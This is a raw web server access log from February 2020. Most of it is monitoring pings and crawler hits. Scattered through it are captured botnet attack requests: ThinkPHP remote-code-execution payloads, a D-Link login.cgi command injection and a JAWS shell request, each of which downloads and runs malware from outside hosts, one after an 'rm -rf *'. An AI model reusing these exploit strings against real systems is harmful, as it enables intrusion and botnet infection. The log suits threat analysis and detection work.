42.117.60.16 - - [07/Feb/2020:17:29:59 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:17:30:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:17:31:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:17:32:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
111.19.255.14 - - [07/Feb/2020:17:33:23 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [07/Feb/2020:17:33:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:17:34:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
180.178.102.166 - - [07/Feb/2020:17:35:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [07/Feb/2020:17:35:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:17:36:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
124.146.229.45 - - [07/Feb/2020:17:36:45 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:17:37:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:17:38:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:17:39:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.80.89.124 - - [07/Feb/2020:17:39:40 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
183.87.35.218 - - [07/Feb/2020:17:40:23 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:17:40:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:17:41:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:17:42:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.116.100.236 - - [07/Feb/2020:17:43:37 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:17:43:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:17:44:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
139.162.106.181 - - [07/Feb/2020:17:45:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "HTTP Banner Detection (https://security.ipip.net)"
212.91.246.72 - - [07/Feb/2020:17:45:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:17:46:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:17:47:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
176.114.224.102 - - [07/Feb/2020:17:48:21 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
88.236.231.158 - - [07/Feb/2020:17:48:23 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [07/Feb/2020:17:48:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
116.104.88.219 - - [07/Feb/2020:17:49:15 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:17:49:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:17:50:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:17:51:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
79.145.106.214 - - [07/Feb/2020:17:51:52 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [07/Feb/2020:17:52:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.132.212.236 - - [07/Feb/2020:17:53:09 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:17:53:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:17:54:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.113.214.38 - - [07/Feb/2020:17:55:18 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:17:55:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.119.171.190 - - [07/Feb/2020:17:56:34 +0100] "GET / HTTP/1.1" 200 1229 "https://bpro1.top/congratulations-happy-birthday" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; KKman2.0)"
46.119.171.190 - - [07/Feb/2020:17:56:35 +0100] "GET / HTTP/1.1" 200 1229 "https://bpro1.top/congratulations-happy-birthday" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; KKman2.0)"
46.119.171.190 - - [07/Feb/2020:17:56:35 +0100] "GET / HTTP/1.1" 200 1229 "https://bpro1.top/congratulations-happy-birthday" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; KKman2.0)"
212.91.246.72 - - [07/Feb/2020:17:56:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:17:57:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:17:58:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.71.68.93 - - [07/Feb/2020:17:58:48 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.117.15.213 - - [07/Feb/2020:17:59:24 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:17:59:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.62.51 - - [07/Feb/2020:18:00:31 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:18:00:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:18:01:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
181.60.62.11 - - [07/Feb/2020:18:02:05 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
212.91.246.72 - - [07/Feb/2020:18:02:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.216.26.178 - - [07/Feb/2020:18:02:55 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [07/Feb/2020:18:03:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:18:04:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.132.119.45 - - [07/Feb/2020:18:05:15 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:18:05:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:18:06:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
187.60.253.214 - - [07/Feb/2020:18:07:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [07/Feb/2020:18:07:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.119.36.235 - - [07/Feb/2020:18:08:29 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:18:08:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.119.7.239 - - [07/Feb/2020:18:08:37 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:18:09:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
62.210.169.121 - - [07/Feb/2020:18:10:14 +0100] "GET http://45.76.45.209/ HTTP/1.1" 200 1229 "-" "Go-http-client/1.1"
212.91.246.72 - - [07/Feb/2020:18:10:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:18:11:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
181.48.80.146 - - [07/Feb/2020:18:12:11 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
95.57.34.166 - - [07/Feb/2020:18:12:17 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:18:12:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
47.89.192.12 - - [07/Feb/2020:18:12:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
212.91.246.72 - - [07/Feb/2020:18:13:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:18:14:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.160.137.118 - - [07/Feb/2020:18:14:55 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [07/Feb/2020:18:15:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:18:16:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:18:17:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:18:18:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:18:19:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
62.210.169.121 - - [07/Feb/2020:18:19:53 +0100] "GET http://45.76.45.209/ HTTP/1.1" 200 1229 "-" "Go-http-client/1.1"
212.91.246.72 - - [07/Feb/2020:18:20:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.232.229.45 - - [07/Feb/2020:18:21:15 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://scan.casualaffinity.net/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
212.91.246.72 - - [07/Feb/2020:18:21:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:18:22:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:18:23:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.134.137.201 - - [07/Feb/2020:18:24:15 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:18:24:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:18:25:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:18:26:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:18:27:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
73.5.248.186 - - [07/Feb/2020:18:27:43 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:18:28:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:18:29:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:18:30:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:18:31:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:18:32:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:18:33:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
89.40.226.165 - - [07/Feb/2020:18:33:47 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
89.40.226.165 - - [07/Feb/2020:18:33:47 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:18:34:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:18:35:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:18:36:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:18:37:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:18:38:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:18:39:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
36.90.38.141 - - [07/Feb/2020:18:39:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
1.55.73.110 - - [07/Feb/2020:18:40:35 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:18:40:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:18:41:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:18:42:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.173.28.52 - - [07/Feb/2020:18:43:33 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:18:43:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.216.96.242 - - [07/Feb/2020:18:44:09 +0100] "GET /robots.txt HTTP/1.1" 404 330 "-" "Mozilla/5.0 (compatible; SEOkicks; +https://www.seokicks.de/robot.html)"
95.216.96.242 - - [07/Feb/2020:18:44:10 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; SEOkicks; +https://www.seokicks.de/robot.html)"
212.91.246.72 - - [07/Feb/2020:18:44:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
88.201.179.77 - - [07/Feb/2020:18:45:11 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:18:45:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.68.65.76 - - [07/Feb/2020:18:46:03 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:18:46:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:18:47:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
37.24.13.243 - - [07/Feb/2020:18:47:52 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
181.112.227.202 - - [07/Feb/2020:18:48:13 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
37.24.13.243 - - [07/Feb/2020:18:48:19 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [07/Feb/2020:18:48:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:18:49:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:18:50:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
62.85.83.121 - - [07/Feb/2020:18:50:42 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:18:51:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:18:52:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
37.24.13.243 - - [07/Feb/2020:18:53:01 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [07/Feb/2020:18:53:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.52.179.191 - - [07/Feb/2020:18:53:58 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
37.24.13.243 - - [07/Feb/2020:18:54:12 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
